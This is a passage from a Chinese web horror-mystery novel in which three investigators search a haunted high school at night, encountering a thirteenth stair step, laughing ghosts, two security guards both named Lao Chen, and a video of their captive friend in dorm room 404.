他目测了一下，这滩血并不多，大概50CC左右，一般较深的创伤都会引起这样的出血量，但这样的出血量并不会引起死亡，光凭着这滩血就说宋明夷死了，还差点儿实质性证据。
哪怕是看到了女鬼脸上的那张宋明夷的脸，也不能证明那就是宋明夷遇害了。
“……沈聆，你先别哭，我们分析一下现场。”林凌转过头看向了沈聆，“你还记得我们刚才看到的女鬼的样子吗？”
沈聆哭得眼睛有点儿肿肿的，她眨了眨眼睛，不明所以地看着林凌。
“记……记得，她脸上好像缝着另一张人脸，好像是明夷的脸。”
“好，那我问你，如果是正常情况下，一个活着的人，被割掉了脸，是不是会有喷溅状的血迹？至少，地板和墙壁都会沾染到这样的血？可别忘了，无论是女鬼还是宋明夷，都是靠着墙角站着的，如果宋明夷真的是刚才被活生生割掉脸的话，那周围应该会有喷溅的血迹才对……而且，这样的血迹并不少。”
林凌说着，用手机的手电筒照了照周围的四个墙角，明明白白地展示周围并没有如他所说的将脸活生生割下来的喷溅样血迹。
随后，林凌又将手机转移了一个角度，照亮了自己身边的这滩还没有凝固的血。
“我摸了这滩血，这滩血是温热的，鬼可不会有血，我们都没有新伤，所以这滩血应该是宋明夷的，可以说，她片刻之前应该还在，并且如果受伤了，是会有血留在现场的……就像这滩血一样……但是我们现在只看到了这滩血，并没有其他痕迹，这说明什么？”<
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p>“你的意思是……”吴妄皱起眉头，顺着林凌的思维分析下去，“有人掳走了宋明夷，并且她受伤了，所以留下了手机和那滩血，但实际上我们看到的女鬼脸上的脸，并不是宋明夷的脸，如果真的是她的脸，那么现场留下的血迹就不止这么一滩。”
“对，没错。”林凌肯定地点了点头，抬眼看向了沈聆，声音沉着而冷静，“所以，沈聆，你不用太自责，宋明夷应该还没有死，虽然我不知道她为什么会被掳走，但是如果那鬼真的要杀宋明夷，根本不用这么大费周章，她大可以在现场就杀死她，没必要连尸体都带走。”
沈聆顺着林凌的思路思考了一下，还真觉得是这样。
鬼杀人，或许是不需要理由的。
但是鬼掳走一个人，那一定是有原因的。
她出于某种目的，伤害了宋明夷，但并没有杀死她，却用什么人皮面具的把戏伪装成宋明夷已死的假象，却又是为了什么？
“……难道说，她想让我们产生明夷已经死了的错觉？”沈聆转了转眼珠，“她到底为什么这么做呢……如果我们以为明夷已经死了，说不定就不会继续调查下去，而且……”
“而且第二天我们还会报警。因为我们有一个同伴失踪在学校里，有人口失踪，正常人的第一反应就是报案，而且我们还看到了她脸上的人皮面具，更会为了‘给同伴报仇’，将这件事情捅大。”吴妄断言，“或许，这就是她的目的。”
“报警？你说她的目的是让我们报警？”沈聆更加一头雾水。
林凌接着说下去：“但是，她也知道我们看到的是鬼，所以我们就算报警，跟警方说的也一定是‘鬼杀人’的证词，警察一般不会把这些证词当做有效证词，但因为确实存在人员失踪的事情，所以我们警方会调查一下陵川一中，跟同学调查证词，甚至会尝试着寻找尸体。”
吴妄接着说道：“她把尸体掳走，是想让我们委托警方找人，说明……她或许也有着同样的目的，只不过，她要找的东西，并不是宋明夷，说不定……她要警方找的，是她自己的尸体。”
吴妄说到这里，戛然而止。
所有人都陷入了沉默。
死一样的静谧在活动室里蔓延开来，恐惧，如同冰冷的寒气一样浸入每个人的心扉。
“……这件事情，或许比我们想象的要更复杂一点。”沈聆轻声说道，“如果真的和你们推测的一样，那么……女鬼，或许想借助我们的手，找到她要找的东西……她的尸体丢了，她找不到自己的尸体，她化作厉鬼，在学校闹事，为的是引起更大的关注，借助人的力量，达到她自己的目的。”
“是的。”吴妄说着，看向了保安老陈，“大叔，对此你有什么线索吗？你是每天晚上值夜班的人，说不定你见到的事情，比我们更多。”
“啊？”保安老陈挠了挠头，“我哪里知道什么尸体……我就是每天巡逻一下而已，我哪里会关注这么多乱七八糟的事情……不过，你要说失踪的话，倒是让我想起了404那个失踪的女孩子。”
“——”
就在这时，宋明夷的手机忽然响了。
有人给她，打来了电话。
135. 多出来的台阶
在沈聆、林凌和吴妄一行人简单交流了一下目前的思路之后，他们决定先去调查404寝室，毕竟宋明夷失踪的事情涉及到冤魂，就算现在报警，也不见得就能找到宋明夷，更何况现场已经有一个警察在这里了，他尚且分析不出什么头绪来。
而且，之前和校方协商的内容，也是不允许造成舆论影响，最大程度暗中调查。
一行人就朝着2号楼后面的学生宿舍而去。
他们缓缓地走过2号楼那清冷寂静的楼道，仿佛置身于一座被遗忘的废墟之中。
这座2号楼采用了独特的回字形结构设计，而靠近女生宿舍的那一侧的后门不知为何已被牢牢锁住，将他们前行的道路截断。
无奈之下，他们只得沿着三楼的走道艰难绕行至2号楼的另一侧，再从另一头的后门走向宿舍楼。
夜晚的楼道内空无一人，只有月光透过窗户洒下微弱的光芒，给这片空间增添了一丝神秘的氛围。
此刻，时针悄然指向了临近凌晨一点的位置，周遭的气温似乎又下降了好几个度数，寒冷如影随形。
在这深沉的夜色笼罩下，整栋教学楼显得格外冷清和阴森，宛如一座无人问津的墓地。那一排排紧闭的教室门就像沉睡中的巨兽嘴巴，让人不寒而栗。
几个人默默地行走在这清冷的走道里，脚步轻得如同猫步，生怕发出一丁点声响打破这份死寂。然而，即便如此谨慎小心，他们的脚步声还是清晰可闻，成为了周围唯一的声音，在空荡荡的楼道内回荡不休。
每个人都不由自主地屏住了呼吸，甚至能听到彼此心脏紧张跳动的声音。
大家不约而同地低垂着头，眼睛却瞪得大大的，警觉地窥探着四周的每一个角落，神情充满恐惧与不安，仿佛时刻担心会有什么可怕的怪物突然从那些无尽的黑暗中猛地跳出来，张开血盆大口将他们一口吞下。
“那只鬼……一定是和马伯良有关系的人。”林凌推测，“我们都听见了她喊出这个名字，但马伯良应该没有死，她这么做或许是将矛头引向那个男生，让我们在报警之后，让警方介入调查马伯良的事情。”
沈聆点了点头：“嗯，刘悦生前是马伯良的女朋友，听老校长说，在刘悦失踪后，马伯良就开始做噩梦，刚开始只是每天晚上都会被噩梦惊醒，逐渐的，开始产生幻觉，好好地坐在那儿就会开始尖叫，说什么‘见鬼了’、‘不要纠缠着我’之类的话，每每问他的时候，只说是刘悦来找他了，其他的闭口不谈……”
“那这个马伯良一定有问题。”吴妄断言，“而且，马校长可能也有一些隐瞒不报的情况并没有跟我们说，如果有可能的话，我们还得去一下马家，能弄清楚他和刘悦之间发生的事情就好了。”
“道长你意思是……刘悦很可能已经发生意外？刚才看到的鬼，很可能就是刘悦本人？”
“我只是这么揣测……毕竟一个大活人，在学校失踪了近乎一个月，凶多吉少，就算是被某个人囚禁在某个地方，按照这个时间推算，很大可能也已经遭遇不测。”
吴妄的声音沉了沉，他的表情阴恻恻的，说出的话让人感到不寒而栗。
“你们说的是那个叫刘悦的娃娃吗？”
拿着手电筒，走在前面的保安老陈回过头看向三人。
“对，怎么，大叔您也知道她？”
“当然知道了，当时她失踪的时候，学校组织所有老师、保安、后勤开展了拉网式排查，愣是把学校翻了个底朝天都没有找到她，为了找她，俺还加班了好几天呢！后来家长也报警了，警察来俺们保安室调取了好多监控，但是在那些监控画面里也没有看到那个女娃娃的影子……你说说，这也真是奇怪了，大活人难道还能长出翅膀飞了不成？”
老陈的声音沙哑着，用这沙哑浑浊的声线说着恐怖的灵异事件，听起来更让人毛骨悚然。
“一个大活人是不可能消失不见的，一定是发生了什么事情，让她失踪了。”吴妄打断了老陈那令人不安的话，“如果你们的校门监控画面都没有查到她的话，我觉得那个叫刘悦的女孩子，现在应该还在学校里。”
沈聆托着下巴思考：“但是……她能去哪里呢？这都快一个月了，无影无踪的，我们学校虽然晚上的时候冷清一点，但是白天很多学生在这里的，如果她还活着，那应该会被看到才对。”
林凌补充：“是啊，如果人类三天不喝水就会渴死，七天不吃饭，就会饿死。”
“死了吧，大概率。”
吴妄说完这句话，便没有再说什么。
毕竟一切都只是推测，他们都没有实质性的证据。
——从目前的情况来看，应该和道长推测的差不多，刘悦很大概率是已经死了。
——但是她死了的话，尸体在哪里呢？
——监控画面并没有看到刘悦，也没有看到可疑往外运输东西的车辆有出入学校，那么刘悦应该也还在学校里。
——正所谓活要见人、死要见尸，相比起活人，尸体应该更不好藏吧？毕竟尸体也会发臭、腐烂，而学校到处都是学生，要在什么地方才能藏起刘悦的尸体呢？
……
千头万绪，纷繁复杂。
沈聆沉默不语地思考着，越想越深入。
她的脑海中仿佛展开了一张学校的平面地图，在不同的地方一一排查搜寻，在脑海中过滤可能藏身、藏尸的地点。
且说众人沿着楼梯往一楼而下，就在沈聆心事重重地踩过几级台阶的时候，她没有留意到下面还有最后一级台阶，一脚踩空，直接往前摔倒在地上。
“啊……”
她身体一歪，失去重心一般摔倒在地上，肩膀摔在了冰冷的地面，摔得一阵生疼。
“疼……”
“你没事吧？”最靠近沈聆的林凌忙将沈聆拉了起来。
吴妄皱起眉头走下最后一级台阶，视线依旧落在沈聆身上：“你怎么这么不小心，走个楼梯都能摔着，这也
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太笨了。”
“不是……我刚刚在想事情来着……”沈聆挠了挠头，被林凌拉起，“不对啊，我怎么觉得我刚才应该已经走完最后一级台阶了，怎么还有一级台阶？”
只见她紧紧地皱起眉毛，眼神中透露出一丝疑惑和恐惧，仿佛在担心着什么未知的危险。
只见她放轻了动作，蹑手蹑脚地慢慢靠近眼前楼梯。
整个楼梯间都被无尽的黑暗所笼罩，仿佛是一个巨大的黑洞，要把所有靠近它的东西都吞噬进去。而此时，唯有老陈手中那只破旧的手电筒散发出来的微弱光芒，成为了这片漆黑中的唯一光源。
“大叔，手电筒借我一下。”
“行。”
沈聆地伸出右手从老陈手中接过那支手电筒。
她轻轻地握住手柄，将白色的光束稳稳地打在前方的楼梯上。随着光线的移动，可以看到那原本布满灰尘和蛛网的楼梯逐渐展现在眼前。
然后，她深吸一口气，抬起右脚，缓缓地踏上了第一级台阶。
嘴里轻声念道：“一......”
接着，左脚跟上，又踩在了第二级台阶上：“二......”
就这样，她一步接一步，非常谨慎地一级、一级地踩着台阶往上走去。
每迈出一步，她都会停顿一下，似乎在仔细聆听周围是否有异常的声响。
当她终于数到第十二级台阶时，声音戛然而止。
随后，她慢慢地站直身子，双脚稳稳地落在了二层楼梯间的平台上。
“哎呀，女娃娃，不要疑神疑鬼了，就是十二级台阶没错，你们这些小娃娃就是鬼故事看多了，整天疑神疑鬼的，没有影子的事情都被你们传得跟真的一样了。”
“但是……但是我明明……不对，我怎么就是觉得好像多了一个……”沈聆狐疑，越想越觉得不对劲，她拿着手电筒，再一次从上而下开始数台阶，“一、二、三、四……”
她是个细心而又耐心的人。
在进入这个学校之后，她就觉得这个学校处处透着不对劲。任何一处细节都不能放过，说不定细微的线索关系到能否顺利找到宋明夷。
这么想着，沈聆一级台阶、一级台阶地往下走。
这一次，她也同样数着台阶。
“五、六、七、八……”
走到倒数第二个台阶的时候，沈聆恰好数到了“十二”。
可眼前，却还有一级台阶。
她愣了一下，抬起头看着其他三个男人，表情阴沉了下来。
在场所有人的脑袋都空白了一片，“嗡”地一下像是被撞了一下的钟。
他们是在现场实时听着沈聆走下一级台阶就数一次的，明明上去还是12级台阶，但是不知道为什么，再下来的时候，似乎……凭空多了一级。
“这是……第十三个台阶。”
鬼故事，看来并不完全都是编的。
真的有一级楼梯，会多出来。
136. 楼梯间的鬼影
平白无故在多出了一级台阶，所有人都一愣。
毕竟沈聆上楼的时候，还是12级，怎么下来的时候就变成了13级？
“女娃娃，你是不是下楼的时候没有算第一级台阶？所以这……这才多了一坎？”保安老陈揉了揉眼睛，有点儿难以置信地看着沈聆。
“不是，我……我是从下来的第一个开始算的……没问题的……”
沈聆的声音也不由得颤抖起来。
她想起了在学校恐怖论坛上看到的灵异传说：在午夜学校里，会有某一处台阶从12级台阶变成13级台阶，多出来的台阶不知道是从哪里来的，但千万不能踏上这一级台阶，否则将看到自己的死因，而踩在这一级楼梯上的人，也很快会因此暴毙。
沈聆皱起眉头，她犹豫着要不要踩上这一级台阶。
现在好不容易找到了这个台阶，但现在就这么轻轻放过，似乎太过可惜，但如果传言是真的呢？如果踩上这台阶真的会死呢……
就在这时，沈聆身后的楼梯忽然传来了一阵诡异的笑声。
“嘻嘻嘻……”
这笑声虽然轻微得如同羽毛飘落一般，但却清晰地传入了沈聆的耳中。
“嘻嘻……”
这笑声仿佛带着某种神秘的力量，直直地从她身后传来。
仔细一听，这笑声似乎是从四五楼之间的楼梯间传出的。由于楼梯间是一个相对封闭且狭窄的空间，这声音就像是被禁锢在了其中一样，不断地来回回荡着。
沈聆心中一惊，猛地转过头去，想要看清楚到底是谁在发笑？
然而，她的身后却是空空如也，连半个人影都没有。一股寒意瞬间从她的脊梁骨上升起，让她不禁打了个寒颤。
但沈聆并没有就此罢休，她抬起头，顺着刚才听到声音的方向朝楼上的楼梯间望去。
就在这时，她惊恐地发现，在大约四五楼的位置，竟然有一团血红色的东西正在缓缓地沿着楼梯向下移动！那团东西看起来形状模糊不清，就好像是一团浓雾凝聚而成的人形物体。
这个诡异的身影移动的速度极快，动作也十分怪异——时而会从栏杆内探出一个模糊不清的脑袋，那双眼睛闪烁着令人毛骨悚然的光芒；时而又迅速地将整个身体缩回到楼梯内部，让人难以捕捉到它的确切行踪。
更可怕的是，那若隐若现的笑声始终伴随着这个身影，时远时近，时高时低，有时候听上去像是娇羞的女孩子在掩唇轻笑，声音清脆悦耳；可有时候又像是来自地狱深处的恶魔在发出狰狞的狂笑，让人不寒而栗。
“嘻嘻……”
“嘻嘻……”
这声音此起彼伏，就像是两三个女孩子在嬉笑打闹，而随着那声音的靠近，可以看到楼梯间里红色的身影似乎一分为三，像是三个可疑的灵体在楼梯间里活动，它们交织着，缠绕着，黑暗的楼梯间里留下一道道血色的残影，在黑暗中宛若鬼魅。
“叮当……”
沈聆手上的铃铛忽然响了起来，而这一次，她的铃铛声比之前任何一次都大！
“快走！”
来不及多想，沈聆直接从台阶上跳了下来，她越过了那最后一级台阶，抬眼，拽着吴妄和林凌就朝着后门跑去。
“这里不干净的东西还真多……”
吴妄也注意到了那三个红色的影子，他原想从口袋里拿出符咒除妖，但沈聆拉着他跑向了楼梯间的后门。
“这里距离宿舍楼很近，尽量不要弄出太大的声音，宿舍楼都是学生，我们和校方的约定是尽量不要让其他人知道我们这次的行动。”
沈聆看向了吴妄，她自然知道吴妄想做什么。
但楼梯间的空间十分狭窄，如果在这里发生打斗，那位于2号楼正后方的学生宿舍一定会被惊动，到时候舆论就如同火药一样一触即发，瞬间引爆整栋教学楼，不知道第二天会有多少流言蜚语在论坛、贴吧上满天飞，那么陵川一中闹鬼的事情估计就压不下来了。
这一瞬间，沈聆想到了这一层关窍，虽然她很想看看最后一级台阶是怎么个事情，但既然已经有鬼出现，说明那个地方是某些鬼魂不愿意被他人发现的地方。
“它们在第13级台阶出现的时候也出现了，说不定是有什么不想让我们知道的事情……”沈聆拉着吴妄和林凌跑出了2号楼的后门，穿过一条羊肠小路，一直来到了宿舍楼前面，三人跑得有点儿气喘吁吁，“我想，我们既然已经找到了可疑的楼梯的位置，可以换个时间再调查，现在我们还没有调查404女寝，如果就这样惊动宿舍里的学生，恐怕我们今天晚上的调查行动就要提前结束了。”
林凌也点了点头：“沈聆说的有道理，不过……我也看到了那个红色的影子，它们不知道为什么，好像在笑……听起来好像是女孩子的笑声？而且有三个？”
吴妄转过头，看向了在夜色中的2号楼。
这栋呈回字形的庞大建筑，在深沉如墨的夜色笼罩下，悄然无声地伫立着，它犹如一双神秘而深邃的黑色眼眸，隐匿于无边无际的黑暗之中，默默地凝视着周遭的一切，仿佛在刻意将自身融入这片漆黑的夜幕，与此同时，又以一种静谧却令人心悸的方式，静静地窥视着这个远比夜色更为恐怖和诡异的世界。
在三人身后不远处，便是学校那一排排整齐的宿舍楼。、
夜晚的凉风阵阵袭来，使得原本就有些清冷的夜风变得愈发寒意逼人。
此刻，夜色中的宿舍楼早已熄灭了灯火，一个个窗口如同张开的黑漆漆大口，深不见底且阴森可怖，阳台上悬挂着众多衣物，这些衣物在狂风的吹拂下肆意舞动，远远望去，竟好似一群失去头颅的鬼魅在风中拼命地挥舞着手爪，向人们发出凄厉的召唤。
然而，就在这众多挂满衣物的阳台当中，有一处显得格外突兀——
位于四楼的某个阳台竟
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然空空荡荡！那里不仅没有常见的生活用品，甚至连一件衣物都未曾悬挂。取而代之的，则是贴满了一些来历不明、泛黄陈旧的纸张。
想来，这里应该就是传闻中出了事以后便被封禁起来的404号女生寝室吧。
吴妄微微眯起了眼睛，暗暗想着这个学校还真是不简单，到处都是宛如诡秘之地的场景。
“鬼魅之声，往往不同于人声，但能够发出人声的鬼，往往是徘徊世间许久、不得超生的鬼魂，不知道它们有几个，但可以确定的是，应该和刚才我们在舞蹈室、活动室看到的鬼魂不同，楼梯间这鬼的形态更加透明一点，似乎修为和能量场也更小一点。”
“如果不是同一个的话，那我的学校还真是热闹啊……”沈聆叹了口气，转念一想，“等等，如果楼梯间的鬼魂有三个的话，这个数字是不是刚好能对上404女寝暴毙的那是三个女孩子？”
她的学校，似乎比她想象中更复杂一点。
“不好说。”吴妄也无法轻易下结论，毕竟他们只是听到了那鬼魂的笑声，并远远看到了它们的影子，并没有交手，也不知道那鬼魂出现的目的。
就在这时，林凌回过神来。
“等等，保安大叔呢？他好像没有跟我们一起出来？”
三个人眨了眨眼睛，这才发现，保安大叔似乎被落在了楼梯间里！
事发突然，所有人都来不及多做顾虑，年轻人反应比较快，一溜烟就跑到了宿舍楼前面，但保安老陈倒是被丢下了，而且还被丢在了一个可能满是鬼魂的楼梯间里。
所有人都看向了2号楼，吴妄率先往2号楼去：“我去把他带回来。”
“我跟你一起去！”林凌也跟上了吴妄的脚步，两个男生说着就要回到2号楼。
就在这时，沈聆的手机却响了起来。
“——”
有人来电了，从来电显示上看，这是一个陌生号码。
诡异的时间，诡异的陌生来电。
沈聆略感不安地接起了这个电话：“喂？您好，我是沈聆。”
电话那头传来了一个男人沙哑的声音：“你是沈聆吗？你好，我是陵川一中的保安，陈平，今天晚上你们不是要来陵川一中吗？领导白天交代我要带你们到学校里转转，说要配合你们什么……调查？”
男人的声音带着几分不耐烦，像是被放鸽子一样充满了不悦，但这声音却如同丧钟一样撞入沈聆心中，她愣了一下，忽然意识到一个恐怖的事情……
沈聆忙叫住了林凌和吴妄。
两个男生停下了脚步，不明所以地回头看着沈聆。
随后，她将电话调整成了免提的模式。
“您说……您叫陈平？是陵川一中每天值夜班的老陈吗？”
“对啊，是我，你们怎么还不来啊，我一直在校门口等你们，左等右等都不见人……你们还来不来了？不来的话我计划着睡觉了。”
137. 两个保安老陈
沈聆将电话开成了免提模式。
现场所有人都听到了电话那头保安老陈的话。
他的声音沙哑着，像是粗糙的磨具一下一下摩擦过干枯的树干，说出的每一个字眼都像是带着分量一样，砸落在三个人心上。
“小娃娃你们到底来不来啊？我在保安室一直等你们，如果不是为了等你们，我现在已经睡觉啦，大晚上的。”
保安老陈的声音带着几分不耐烦，但电话那头的声音，的确是他们刚才听到的老陈的声音。
但一个可怕的事实是……
如果真正的保安老陈一直都待在保安室的话，那刚才和他们打招呼、并带着他们调查学校的人，是谁呢？
沈聆深吸了一口气，感觉空气中的寒意似乎更重了几分，那些冰冷的气体灌入肺部的时候，她感觉到自己的肺部一阵生疼，像是有千斤重的分量压迫在自己的胸口，让她喘不上起来。
“我、我们……您是说您一直在保安室吗？但是……”
“对啊，我一直在保安室等你们。”
“有离开过吗？”
“中间去上了个大号，怎么了吗？”
“额，不是……”沈聆犹豫着要不要相信这通电话，她抬起头看见吴妄给她打了个手势，似乎是在示意她装下去，编个谎言，装下去。
沈聆会意，她轻轻咳嗽了两声，调整了一下自己的声音。
“我们已经进来了，可能就在刚才您去上厕所的时候，我们刚才看见保安室没有人，就先从保安室后门进学校了。现在我们……我们在2号楼后面，正准备去宿舍楼。”
沈聆转过头，看了一眼夜色中的宿舍楼。
这栋冰冷的宿舍楼没有一点光亮，就像是沉寂在夜色中的死物一般。
“啥？你们已经进来了？你们这些小娃娃怎么这么擅做主张？你们别乱动了，我现在过去找你们，按照规定，需要我带着你们才行，领导不让你们擅自行动，万一学校丢失什么贵重财物，你们可说不清楚。”
随即，沈聆听见电话那头传来了钥匙碰撞的声音，以及匆忙的脚步声。
似乎老陈正匆匆忙忙地从保安室往他们这边而来。
她挂断了电话，不知所措地抬头看向了林凌和吴妄。
“怎么办？”
“现在到底哪个是真的老陈？”林凌回头看向了2号楼，他心里有着很不好的猜测，他开始感觉到身边的人似乎也不完全都是可以相信的人，“说不定，两个都不是真正的老陈。”
吴妄点了点头：“嗯，我同意，毕竟他们都没有证据证明自己是真的。”
“两个老陈中有一个是鬼？还是两个都是鬼？”沈聆深吸了一口气，脑海中回想起刚才关于老陈的点点滴滴。
她闭上眼睛，老陈驼背的身影、瘌痢头的邋遢形象浮现在脑海中。
“……”
她仔仔细细回想了一下，似乎从校门口遇到老陈开始，他身上就带着一股浓郁的烟酒的味道。
那味道真的是因为他刚刚喝了酒、抽了烟吗？还是故意制造出来掩盖其他什么更刺鼻的味道的呢？例如……腐烂味。
可是，如果他是鬼的话，他出现的目的是什么？
从目前所有的遭遇来看，他们并没有受到伤害，而纵使一路跟着他们的老陈是鬼，他也没有做出什么伤害他们的举动，相反，带着他们调查的路线倒是都是正确的。
这难道只是没有恶意的鬼吗？
还是说，有什么她不知道的秘密暗藏其中？
“……”
心烦意乱中，沈聆不由得抓了抓头发，她感觉自己心里一团乱麻。
这个学校远远比自己认知中要更加复杂一点，可笑的是，自己在这里上学了三年，甚至到今天才知道这个学校的不简单。
她从先过得是那么无知、盲目，像是井底之蛙，从来没有跳出这个井来看看外面的世界。
“我们要回去2号楼看看吗？那个老陈还在不在那边？”林凌先提出了这个问题。
“如果遇到那个老陈，你觉得我们该怎么应付？”吴妄倒是轻轻抛出了一个难题，“假装不知道他是鬼？还是确认他是不是鬼？如果假装没有接到这个电话，他会不会对我们作出其他的举动？如果直接戳穿了他的身份，是不是会引起对方翻脸？”
“……真是左右为难。”
一时之间，陷入了困局。
就在这时，沈聆口袋里另一把手机震动了一下。
沈聆低下头，从口袋里拿出了那一部手机。
那是宋明夷的手机。
刚才宋明夷失踪之后，掉在血泊里的手机。
沈聆皱起眉头，点开了屏幕，奇怪的是，宋明夷的手机居然没有锁着，她看到有人给宋明夷的手机发来了一个视频，视频还没有下载好，上面是模糊的马赛克图案，隐隐约约可以看到视频上有模糊的人形轮廓。
这视频是用短信的形式发送的，沈聆点开后加载了一会儿之后，视频才变得清晰了起来……
这段视频所呈现的场景是在一片漆黑之中拍摄而成的。
乍一看，仿佛置身于一个狭小的房间内，然而再仔细观察一番，却又让人觉得更像是一间熄灭了灯光的宿舍。
——房间的两侧整齐排列着一张张宿舍床以及配套的桌椅，令人感到毛骨悚然的是，这些床铺和桌椅之上并未摆放任何常见的生活用品，反而是密密麻麻地贴满了黄色与白色的符纸。
视频拍摄的时候，镜头很晃动，在这片幽暗阴森的空间里，一个头发蓬乱不堪的女孩正孤零零地坐在冰冷的地面上。
她那纤细的双手和双脚都被紧紧地捆绑着，使得她无法自由活动。此刻的她显得无比惶恐和无助，只能茫然失措地抬起头来，惊恐万分地环顾着四周。
就仿佛，她自己也不知道自己为何在这里。
只见她那双美丽的眼眸中盈满了晶莹剔透的泪水，在眼眶里不停地打着转儿，似乎随时都会夺眶而出。
她被剥掉了身上的衣服，只剩下贴身的衣物，而更为触目惊心的是，她那修长白皙的脖颈处竟然有
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着一道清晰可见的伤口，鲜血正从这个伤口中源源不断地涌而出，顺着她那光洁如玉的肌肤缓缓滑落，最终一滴接着一滴地坠落到地面上。
与此同时，可以看到在她的身下，有人用一种红色的不明液体精心绘制出了一个圆圈。这个圆圈宛如一道神秘莫测的结界，将女孩牢牢地困在了其中，仿佛正在进行一场诡异至极且不为人知的可怕仪式。
“是明夷！”
沈聆脸色一沉。
林凌和吴妄闻言，也凑了过来，但考虑到此刻明夷衣不蔽体，不方便给两个男生看，她忙捂住了手机，摇了摇头，只能口头介绍一下视频的内容。
“有人发了个奇怪的视频到明夷的手机上……视频是拍摄明夷的，她衣服被脱掉了，所以我不方便给你们看，她被困在一个……像是宿舍的房间里面，房间都是符咒，她坐着的地方画着一个红色的圈，她的身上有伤，一直在流血……我们得去救人，她还没有死！”
“都是符咒的房间……”吴妄喃喃着，下意识地看向了宿舍楼的四楼。
没错。
在四楼的那个房间的阳台上，没有任何吊着的衣物和日用品，相反，阳台上贴着许多符咒，窗户上、栏杆上，全都是，看起来像是情人来做过法事、镇压某种东西一样。
“应该是404女寝。”
“那我们现在赶紧过去！”沈聆说着，就朝着宿舍楼走去。
林凌想起了什么事情，忙拉住了沈聆：“等等，你有钥匙吗？没有保安老陈的钥匙，我们可以进去吗？”
“不需要钥匙，女生宿舍一楼的门是电控门，是指纹解锁的，我之前是住宿生，所以这栋楼也有我的指纹记录，我可以打开宿舍楼的电控门，至于四楼……听说已经封起来了，但是之前和马校长沟通的时候，他说宿舍只是用封条封起来了，并没有锁，好像出事的那天404的门是锁着的，老师和舍管阿姨直接把门锁砸坏，这才进去的房间。”
“既然如此，我们去看看，看看所谓的404女寝是个什么样的地方。”吴妄说着，微微眯起眼睛，那眼神中一闪而过的锋芒，语气也中带着几分兴奋。
那感觉，像是终于遇到了一个势均力敌的对手。
今天晚上发生了许多莫名其妙的灵异事件，但是所有鬼魂都是一闪而过，不敢跟他正面交锋，他正愁没有地方下手。
现在好了，似乎直接就找到了对方的巢穴。
404女寝，似乎是一切诡异事件的源头。
只要找到了症结，势必能药到病除！
这些秘密的背后，想必就是他心心念念的人鱼镜。
“那我们还等老陈吗？”林凌看了一眼2号楼的方向，不知道先过来的到底是2号楼的那个保安老陈，还是校门口的保安老陈。
“不等了，反正不知道等来的会是什么东西，万一两个都是鬼，反而增加了我们的调查难度。”
沈聆说着，朝着宿舍楼跑去。
在她身后，林凌和吴妄也紧跟其后，三人一同奔向了夜色中的宿舍楼。
138. 404女寝
“滴。”
当沈聆用指纹打开了宿舍楼一楼的电控门时，冷冷清清的宿舍楼大厅响起了电子门控的声音。
她轻轻地推开那扇略显陈旧的门，伴随着“吱呀”一声，一股略微潮湿的气息扑面而来。
走进宿舍楼大厅，首先映入眼帘的便是位于中央位置的那个服务台。服务台整体呈深褐色，台面光滑如镜，仿佛见证过无数来来往往的学子身影。正对着服务台的地方，便是舍管阿姨的宿舍，只不过现在舍管的门窗紧闭，看起来舍管阿姨也已经入睡。
服务台前摆放着几盆生机盎然的蕨类植物，它们那翠绿的叶片肆意伸展着，犹如绿色的波浪一般，但蕨类植物偏阴，本就阴气较重的女生宿舍里，这些蕨类植物似乎生长得十分舒适。
而在服务台的后方，则竖立着一块巨大无比的LED广告板，这块广告板占据了整整一面墙，其上闪烁着耀眼夺目的红色灯柱。仔细看去，那些红色灯柱巧妙地组合成了一行醒目的标语——“学习新思想、建功新时代”。
这行标语如同燃烧的火焰，将周围一小片区域照得透亮，使得原本昏暗的一楼大厅也因此增添了几分明亮与温暖。
除了这红色的标语所散发出来的光芒外，整个一楼大厅再无其他光源，于是乎，那红色的灯光便肆无忌惮地浸染到了每一寸空气之中，仿佛要将这片空间都染上一层鲜艳的红色。
当她的目光落在那块闪耀着新时代标语的广告板上时，心中那一丝稍显不安的情绪竟渐渐地稳定了下来。
——不知为何，这些充满正能量且又红又专的标语，似乎天生就带有一种神奇的魔力，能够驱散人们内心深处的恐惧和阴霾，每当遭遇一些无法解释的灵异现象时，总会有人下意识地在心底默念诸如“富强民主文明和谐”之类的标语。或许正是因为这些标语承载着强大的唯物主义力量，给予了人们坚定不移的无神论立场和观点吧。
沈聆也是如此。
在看到了那个标语后，她稍稍放松了几分紧张的心情。
今天晚上调查的进展一波三折，先是在舞蹈室里遇到了鬼，又在活动室里丢失了宋明夷的踪迹，最后还发现了13级台阶的地方，甚至连身边的保安老陈都不像是人……
这太诡异了。
这学校在夜色的笼罩下，似乎格外邪门。
她现在倒是有几分理解为什么校领导会在学校的各个角落放上压阵的石头。
或许他们也早就已经察觉到学校的异常。
毕竟，学校的前身是乱葬岗，也一定是曾经发生了一些诡异事件，才让那些建筑商不敢在乱葬岗的基础上加盖楼房。
“……真是造孽。”
沈聆拦着要自动关上的电控门，示意林凌和吴妄赶紧进来。
“快。”
她挥了挥手，两个男生低着头，猫着腰，如做贼一样溜进了女生宿舍里。
——陵川一中的男生宿舍和女生宿舍是分开的，各有一栋独楼，根据不同的年级分在不同的楼层。按照道理，他们两个男生是不允许进入女生宿舍的，但是特殊情况特殊需要，他们进入学校调查的行为已经跟校领导报备并得到了许可，加上他们一个是警察，一个是道士，本不会在女生宿舍里做一些奇怪的事情，在无人知晓的时候进入宿舍楼倒也无伤大雅。
只不过，此刻已经将近凌晨一点，同学们都已经入睡，在这么静谧的环境中，任何一点声音都可能被放大，因此需要更压低了声音，不能吵醒这栋楼中正在睡觉的同学们，否则惊扰到其他女孩子，只要有一个女孩子尖叫起来，整栋楼都会发现他们的行踪，到时候就算是有一万张嘴也说不清楚。
林凌和吴妄进入了宿舍后，沈聆轻车熟路地带着他们到宿舍楼的另一侧楼梯间，从楼梯上四楼。
在路过舍管阿姨的宿舍时，三个人都压低了身子，虽然都知道舍管阿姨此刻在睡觉，但还是不由自主地弓下身子、从舍管阿姨的窗口下方溜过去，他们本能地屏住了呼吸，踩在地上的脚步声很轻，仿佛是踮着脚走路的三只猫咪，一直走到了楼梯口，才敢大口喘气。
【从这里上去，可以到404。】
沈聆站在最前面，她比了个手势，指了指上方。
林凌与吴妄点了点头，由沈聆带路，朝着四楼而去。
楼梯间相对来说空间比较闭塞，没有窗户，每一层的楼梯间都贴着一个大大的镜子，转过每一次转角都可以在镜子里看到自己。
“……这女生宿舍楼本就是阴气较重的地方，还在这里放这么多镜子，镜子是聚阴之物，这不是给那些脏东西藏身之处吗……”
吴妄看着那些镜子，只觉得寒气森森，并且越往四楼的地方，那寒气似乎就更加重了几分。
